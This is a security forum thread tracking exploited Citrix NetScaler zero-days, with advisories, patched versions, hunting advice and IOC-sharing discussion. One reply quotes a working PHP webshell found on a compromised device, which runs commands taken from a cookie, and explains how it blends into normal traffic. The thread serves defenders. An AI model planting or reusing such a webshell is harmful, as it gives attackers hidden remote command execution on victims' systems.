Multiple Citrix Netscaler 0-Days Exploited

Threat Intel
, , , , ,
1

netscaler
netscaler1200×630 92.2 KB

Last Updated: 2026-10-06T15:07:07Z

What’s Happening

Citrix has disclosed 8 critical CVEs.

https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096

There’s also an associated blog post.

Affected Versions

  • Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1 BEFORE 14.1-73.37
  • Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1 BEFORE 13.1-64.23
  • Citrix NetScaler ADC FIPS BEFORE 14.1-73.37 FIPS
  • Citrix NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.279

Indicators of compromise have been shared with Citrix customers through their portal. Some customers are also receiving patches, with a general release expected soon.

Vulnerability Severity (CVSS 4) Preconditions
CVE-2026-88771 9.5 None
CVE-2026-88772 9.5 DTLS config enabled (enabled by default on VPN)
CVE-2026-88773 9.3 HTTP Configuration enabled
CVE-2026-88774 7.0 Any policy with HTTP URL-based expression
CVE-2026-88775 8.8 ADC or Gateway configured as Gateway/AAA
CVE-2026-88776 8.8 Configured as Load Balancer of type Oracle
CVE-2026-88777 8.8 Configured as an LB/CS or CGNAT-LSN/NAT64 device with a non-HTTP L7
CVE-2026-88778 8.8 TCP Configuration enabled
CVE-2026-88779 8.7 SAML SP or IdP

The first of these is most concerning, as there are no preconditions.

Citrix has published updates and as the affected versions above show, there are listed versions with fixes.

NCSC-NL has also published an advisory.

CERT-EU has posted their advisory, which confirms CVE-2026-88771 and CVE-2026-88772 are exploited in the wild.

CISA has added these to the Known Exploited Vulnerabilities (KEV) list.

Truesec published a report with observables.

WatchTowr has published their analysis showing the ease of exploitation of CVE-2026-88771. They also appear to confirm that the patch for this vulnerability is solid. No word yet on the other 7.

GreyNoise added a report on 2026-09-28T07:00:00Z, attributing exploitation activity they observed to CVE-2026-88771. While they are not publishing full details at this time, some indicators have been listed (and we’ve added them to MISP). Without the full attack chain, the link to 88771 is speculative, but we’ve erred on the side of providing whatever observables are available.

CERT-EU published a blog post with what they had discovered prior to the disclosure. Their evidence shows base64-encoded payloads in User-Agents, which is a worthwhile log hunt.

On 2026-09-29T07:00:00Z, Mandiant published a writeup of observed exploitation of CVE-2026-88772. This is distinct from the patterns mentioned in other posts, as are the observed post-exploitation techniques.

WatchTowr has now also published their writeup of 88772. This is a much deeper technical breakdown of the vulnerability, a standard overflow. Thanks, C!

LevelBlue published an analysis of observed payloads on 2026-09-30T07:00:00Z. Some very good behavioral detections in there.

Palo Alto’s Unit42 has published their own report with significant findings, including the fact that exploitation activity may go back to 2026-08-21T07:00:00Z. They also have analysis of post-exploitation payloads distinct from what Mandiant has provided.

Arctic Wolf has also posted indicators from compromised devices they have observed.

New Vulnerability Post-Patching Exploited (CVE-22026-88779)

On 2026-10-02T07:00:00Z, Beaumont reported that patched devices may be susceptible to yet another attack, or the patch is bypassable. This correlates with reports that Citrix customers started experiencing crashes/failovers on Netscaler devices, as posted on Reddit. A second thread is tracking some exploit sources. These observables have been added to our list and feed.

On 2026-10-03T07:00:00Z, a particularly useful Reddit post provided detailed observables for a campaign seemingly exploiting this new vulnerability.

Citrix has confirmed the new activity with a new advisory. This is a new issue for devices in Gateway/AAA modes.

The issue is associated with NetScaler deployments that use SAML authentication in conjunction with Gateway or AAA functionality. Customers who have deployed NetScaler as a Gateway or AAA virtual server should review their NetScaler configurations to determine whether SAML authentication actions are configured.

Citrix claims this is independent of the prior vulnerabilities, but we will keep the information here for the time being. Citrix’s advisory states they intend a new bulletin (and, presumably, CVEs) for this issue.

On 2026-10-03T07:00:00Z, Citrix published a new advisory for CVE-2026-88779. The vulnerability is listed as a buffer overflow leading to DoS, which contradicts statements by researchers suggesting infection was possible.

On 2026-10-04T07:00:00Z, Citrix published a more detailed blog post about the issue.

Actions

Upgrade to the patched versions from Citrix as soon as possible.

Additionally, elevated log monitoring for suspicious activity from Netscaler devices should be implemented. Also where possible, limiting access to internet-facing devices can be a mitigation.

Follow the hunting advice in the Google/Mandiant post for suspicious patterns in config files, as well as /bin/sh having the SUID bit added.

If DTLS is enabled, consider disabling it.

In the event you suspect a Citrix device is compromised, follow the steps outlined in this guide.

For CVE-2026-88779, upgrade to:

  • NetScaler ADC and NetScaler Gateway 14.1-73.41 and later releases
  • NetScaler ADC and NetScaler Gateway 13.1-64.28 and later releases of 13.1
  • NetScaler ADC 14.1-FIPS 14.1-73.41 FIPS and later releases of 14.1-FIPS
  • NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.282 and later releases of 13.1-FIPS and 13.1-NDcPP

Observables

The full, extensive list of compiled observables in our MISP Feed.

Here is the current CSV export of that event, for your convenience.

misp.event.1877.csv (30.6 KB)

Notes

Prior Reporting/Background

On 2026-09-26T07:00:00Z, a Reddit post in the Citrix community indicated that the presence of two 0-day vulnerabilities in Citrix Netscaler devices. The poster was apparently advised to shut down external devices.

Research firm WatchTowr corroborated the report, as did researcher Kevin Beaumont.

Both Beaumont and WatchTowr doubled down on the claim later in the day. WatchTowr, while unable to confirm sourcing, stated the following.

Citrix comms & patches are expected early next week.
Two vulnerabilities - both RCE.
Unpatched, 0days.
Exploited in-the-wild - discovered during forensics.

Citrix themselves did not explicitly called for a shutdown. Earlier versions of this story misattributed that advisory.

There is a “writeup” about the vulnerability that we’ve reviewed. It appears to be nonsense of one form or another, with no apparent connection to evidence.

So far we have exploitation details for the two known-exploited vulnerabilities. The other six are still unknowns. It is also an open question whether the patches are complete. It would not be the first time initial remediations failed to address the entire vulnerability.

Kevin Beaumont noted that each incident of compromise he has observed includes a unique webshell that can’t be externally scanned. “This is espionage,” he concludes. More importantly, device owners will have to carefully investigate their devices to confirm impact. Updates won’t remove infection.

CVE-2026-88779

It’s worth calling out that despite initial claims of RCE and further file drops on systems fully patched against the prior vulnerabilities, all subsequent reports have been about reboots/crashes. This is not yet conclusive, but we have less evidence of RCE than we do of Denial-of-Service.

3 Likes
2

To add to this, Citrix is rightfully getting a lot of shit for this from the European CSIRT-community already. Their communication has not just been severely lacking in regards to their direct customers but to the security community as a whole. I wish behavior like this would have consequences for the offending parties, but so far this (unfortunately) remains a dream.

3

Citrix has been distributing a script to clients to check for compromise. I cannot post it publicly because it is being distributed under NDA, but I can confirm that the checks are effectively an expansion of the NCSC-NL script from a year ago.

3 Likes
4

Yeah this definitely is a check for webshells situation. I hope to be able to share more observables soon.

5

Unconfirmed so far, but I heard the rumor from a source that I trust: ENISA is currently working under the assumption that Citrix violated the CRA, specifically the reporting requirements defined in Article 14. Not only did they fail to provide an early warning initial notification within 24 hours nor did they provide a full, detailed notification within 72 hours.

Additionally they have failed to adequately inform their customers about the issue, with some customers still not having received details and / or the check script. I would not be surprised if the EU wouldn’t use this incident as a first test for enforcement and fines (but that’s just wishful guesswork on my end).

(Sorry for not being able to provide any operationally valuable information, I’m currently kind-of-out-of-office because I’m drowning in non-work-related work-required work.)

3 Likes
6

Unconfirmed from my side, but on Reddit the user K7Fy6fWmTv76D3qAPn writes about a suspicious file.

# cat -v /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver

<?php header("Cache-Control: no-store, no-cache, must-revalidate");header("Pragma: no-cache");header("Expires: 0");if($_COOKIE["CsrfToken"]==="xxxxxx"&&!empty($_COOKIE["NSC_TASS"]))passthru(urldecode($_COOKIE["NSC_TASS"])); ?>

Path: /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver. It’s a dotfile, 237 bytes, -rw-rw-rw- root wheel.
Content: a PHP one-liner that sets no-cache headers and runs passthru(urldecode($_COOKIE["NSC_TASS"])). It only does that if a CsrfToken cookie matches a hardcoded 16-character hex value. NetScaler uses both cookie names legitimately, so the traffic blends in.
SHA256: ed082f744f035035900f67edf438f2f7d0528ac501234f63d476d65273cdb9a1. The token is probably different for each victim, so grep for the content rather than relying on the hash.
Created: 2026-09-24 06:52:51 UTC, on the node that was primary at the time. The secondary got a copy through HA file sync.
httperror.log: several “SIGHUP received” restarts in that same second. These are not the usual hourly graceful restarts at hh:00:01.
Upgrade: the file survived a reboot and the upgrade to 73.37. The patch doesn’t clean it up, so check again after patching.

8

watchTowr analysis:

2 Likes
9

For anybody like me who is struggling to keep up with the changes as the report evolves, the edit button lets you diff between any two subsequent article versions.

Screenshot of top of post showing the orange Edit button highlighted.

Screenshot comparing changes 18 and 19, showing the TrustedSec observables/IOCs being added.
Screenshot comparing changes 18 and 19, showing the TrustedSec observables/IOCs being added.990×1089 136 KB

4 Likes
10

What observables we have are now in our MISP feed. We’ll add to that as more trackable items emerge.

And since it was asked elsewhere, all observables shared here were shared without restriction. Some were shared with a request for anonymous attribution, which was granted.

1 Like
11

Greynoise report out with some new IOCs
Swarming Against Citrix 0-Day Exploitation

2 Likes
12

Maybe a silly question, but is there a mechanism to parse the MISP feed and inset it into the blog post? Just thinking that might be something to simplify future reports so you just have to worry about putting the observables one place, and don’t have to maintain multiple copies.

Asking in part because the observables from Greynoise is in MISP now but not in the blogpost (though the report is referenced and they can be pulled there)

13

Our current SOP is that we mostly let blogs keep their observables. When we have internally-generated ones, we’ll list them. Or if the list is likely to be short, then we might decide to just put the table in the post. But often the lists are too long for reasonably stuffing in a forum post.

So our process goes in the opposite direction of what you mentioned. We take all indicators from the linked blogs, etc. and add them to MISP. That’s intended as the primary feed of atomics, while we’ll discuss higher-level TTPs in the forum.

But! We certainly could directly link the MISP event. That’s easy enough.

Aaand I just did it. See how that works for you.

1 Like
14

Fair enough, y’all know the shape of this stuff much better than I do.

15

Blogpost from CERT-EU:
CERT-EU - Taking ‘execute logging’ a bit too literally - CVE-2026-88771

It’s a companion piece to the advisory already mentioned, and has some hunting advice (partially represented already)

16

More info from Google/Mandiant. Includes a bunch of stuff not seen in prior reporting, but only two new IPs.

1 Like
17

Added this and the WatchTowr writeup to the OP

2 Likes
18

Citrix is circulating an “ioc-script-v3.sh”, dated 9/29 2PM

It checks for many of the same things as the previous script. Notable new inclusions are a list of IP addresses as IoCs, some of which I have not seen circulated publicly yet and are not in the IFIN MISP feed. There is also a list of file hashes, presumably of known webshells.

The script still makes an assumption about whether log data is still available on the Netscaler you are running it against, which is catastrophically dumb in a real production environment where local logs rotate very quickly and exploitation is known to have begun weeks ago. Anyone who has access to it should definitely dissect it and check the indicators against those logs that you definitely have been streaming from your Netscaler systems to an external SIEM.

1 Like
19

I’d love to get my paws on this, but my understanding is they make you agree to some kind of NDA that covers the script, yeah?

20

More or less, yeah. It’s covered by a confidentiality agreement that all customers sign.

21

I guess there’s always hoping that somebody accidentally shares it publicly at some point. Probably of limited utility by then though.